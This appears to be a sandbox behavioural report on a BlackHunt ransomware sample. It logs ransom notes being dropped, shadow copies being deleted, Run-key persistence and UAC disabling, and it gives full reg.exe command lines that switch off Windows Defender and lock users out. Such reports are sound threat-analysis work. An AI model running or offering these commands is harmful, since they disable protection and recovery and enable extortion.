File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\java.policy	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\submission_history.gif	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-queries.jar	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\hy\LC_MESSAGES\vlc.mo	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\META-INF\#BlackHunt_ReadMe.txt	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\asl-v20.txt	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\#BlackHunt_ReadMe.hta	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Jerusalem	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\#BlackHunt_ReadMe.hta	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\btn-previous-static.png	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_initiator.gif	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File created	C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\106.0.5249.119\#BlackHunt_ReadMe.hta	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-loaders.jar	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\nn\LC_MESSAGES\vlc.mo	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.director.app_1.0.300.v20140228-1829.jar	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ach\#BlackHunt_ReadMe.txt	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bg\#BlackHunt_ReadMe.hta	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\META-INF\#BlackHunt_ReadMe.hta	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\#BlackHunt_Private.key	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-uihandler.jar	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Indiana\Indianapolis	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ast\LC_MESSAGES\vlc.mo	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\#BlackHunt_ReadMe.hta	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Puerto_Rico	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\#BlackHunt_Private.key	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\#BlackHunt_ReadMe.hta	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File created	C:\Program Files\VideoLAN\VLC\locale\kn\#BlackHunt_ReadMe.hta	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-core-multitabs.xml	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-multiview_ja.jar	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-oql_zh_CN.jar	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\Java\jre7\lib\deploy\messages_zh_HK.properties	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Yakutsk	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\#BlackHunt_ReadMe.hta	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files (x86)\MSBuild\Microsoft.Office.InfoPath.targets	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derbytools.jar	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Moscow	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\#BlackHunt_ReadMe.txt	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\kn\LC_MESSAGES\vlc.mo	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ro\#BlackHunt_ReadMe.txt	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
File opened for modification	C:\Program Files\7-Zip\Lang\en.ttt	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2860	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2988	vssadmin.exe
1440	vssadmin.exe
2336	vssadmin.exe
3048	vssadmin.exe
3428	vssadmin.exe
2888	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
3992	taskkill.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	conhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	conhost.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3744	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
4592	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
Token: SeRestorePrivilege	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
Token: SeBackupPrivilege	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
Token: SeTakeOwnershipPrivilege	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
Token: SeAuditPrivilege	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
Token: SeSecurityPrivilege	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
Token: SeIncBasePriorityPrivilege	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
Token: SeBackupPrivilege	2272	vssvc.exe
Token: SeRestorePrivilege	2272	vssvc.exe
Token: SeAuditPrivilege	2272	vssvc.exe
Token: SeBackupPrivilege	2612	wbengine.exe
Token: SeRestorePrivilege	2612	wbengine.exe
Token: SeSecurityPrivilege	2612	wbengine.exe
Token: SeSecurityPrivilege	3772	wevtutil.exe
Token: SeSecurityPrivilege	3540	wevtutil.exe
Token: SeSecurityPrivilege	4316	wevtutil.exe
Token: SeBackupPrivilege	3772	wevtutil.exe
Token: SeBackupPrivilege	3540	wevtutil.exe
Token: SeBackupPrivilege	4316	wevtutil.exe
Token: SeSecurityPrivilege	4324	wevtutil.exe
Token: SeBackupPrivilege	4324	wevtutil.exe
Token: SeSecurityPrivilege	3632	wevtutil.exe
Token: SeBackupPrivilege	3632	wevtutil.exe
Token: SeDebugPrivilege	3992	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1992 wrote to memory of 2316	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	30
PID 1992 wrote to memory of 2316	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	30
PID 1992 wrote to memory of 2316	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	30
PID 1992 wrote to memory of 2316	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	30
PID 1992 wrote to memory of 2664	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	35
PID 1992 wrote to memory of 2664	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	35
PID 1992 wrote to memory of 2664	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	35
PID 1992 wrote to memory of 2664	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	35
PID 2316 wrote to memory of 2832	2316	cmd.exe	33
PID 2316 wrote to memory of 2832	2316	cmd.exe	33
PID 2316 wrote to memory of 2832	2316	cmd.exe	33
PID 1992 wrote to memory of 2848	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	31
PID 1992 wrote to memory of 2848	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	31
PID 1992 wrote to memory of 2848	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	31
PID 1992 wrote to memory of 2848	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	31
PID 2664 wrote to memory of 2968	2664	cmd.exe	36
PID 2664 wrote to memory of 2968	2664	cmd.exe	36
PID 2664 wrote to memory of 2968	2664	cmd.exe	36
PID 1992 wrote to memory of 2712	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	37
PID 1992 wrote to memory of 2712	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	37
PID 1992 wrote to memory of 2712	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	37
PID 1992 wrote to memory of 2712	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	37
PID 1992 wrote to memory of 2684	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	40
PID 1992 wrote to memory of 2684	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	40
PID 1992 wrote to memory of 2684	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	40
PID 1992 wrote to memory of 2684	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	40
PID 2848 wrote to memory of 2676	2848	cmd.exe	130
PID 2848 wrote to memory of 2676	2848	cmd.exe	130
PID 2848 wrote to memory of 2676	2848	cmd.exe	130
PID 1992 wrote to memory of 2880	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	43
PID 1992 wrote to memory of 2880	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	43
PID 1992 wrote to memory of 2880	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	43
PID 1992 wrote to memory of 2880	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	43
PID 2712 wrote to memory of 2928	2712	cmd.exe	45
PID 2712 wrote to memory of 2928	2712	cmd.exe	45
PID 2712 wrote to memory of 2928	2712	cmd.exe	45
PID 1992 wrote to memory of 2924	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	44
PID 1992 wrote to memory of 2924	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	44
PID 1992 wrote to memory of 2924	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	44
PID 1992 wrote to memory of 2924	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	44
PID 1992 wrote to memory of 2588	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	50
PID 1992 wrote to memory of 2588	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	50
PID 1992 wrote to memory of 2588	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	50
PID 1992 wrote to memory of 2588	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	50
PID 1992 wrote to memory of 2884	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	46
PID 1992 wrote to memory of 2884	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	46
PID 1992 wrote to memory of 2884	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	46
PID 1992 wrote to memory of 2884	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	46
PID 1992 wrote to memory of 2472	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	52
PID 1992 wrote to memory of 2472	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	52
PID 1992 wrote to memory of 2472	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	52
PID 1992 wrote to memory of 2472	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	52
PID 2684 wrote to memory of 2564	2684	cmd.exe	51
PID 2684 wrote to memory of 2564	2684	cmd.exe	51
PID 2684 wrote to memory of 2564	2684	cmd.exe	51
PID 1992 wrote to memory of 2580	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	69
PID 1992 wrote to memory of 2580	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	69
PID 1992 wrote to memory of 2580	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	69
PID 1992 wrote to memory of 2580	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	69
PID 1992 wrote to memory of 3048	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	147
PID 1992 wrote to memory of 3048	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	147
PID 1992 wrote to memory of 3048	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	147
PID 1992 wrote to memory of 3048	1992	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe	147
PID 2880 wrote to memory of 2084	2880	cmd.exe	55

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe
"C:\Users\Admin\AppData\Local\Temp\03f74755828371d0d8a23f8f3889ccdb7e5f3934fddb5574bd561223d46d1892.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2316
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2848
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    PID:2676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2664
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2684
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2880
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2924
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2884
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2588
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2472
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2460
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:3048
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2112
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2784
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:1352
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2804
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2580
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2896
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1556
